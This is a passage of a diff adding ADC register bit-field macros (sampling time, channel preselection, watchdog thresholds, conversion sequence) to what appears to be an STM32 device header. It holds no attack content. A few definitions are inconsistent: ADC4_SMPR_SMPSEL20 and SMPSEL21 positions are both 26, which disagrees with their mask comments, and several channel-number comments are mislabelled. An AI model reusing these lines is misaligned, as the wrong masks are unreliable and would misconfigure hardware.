ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 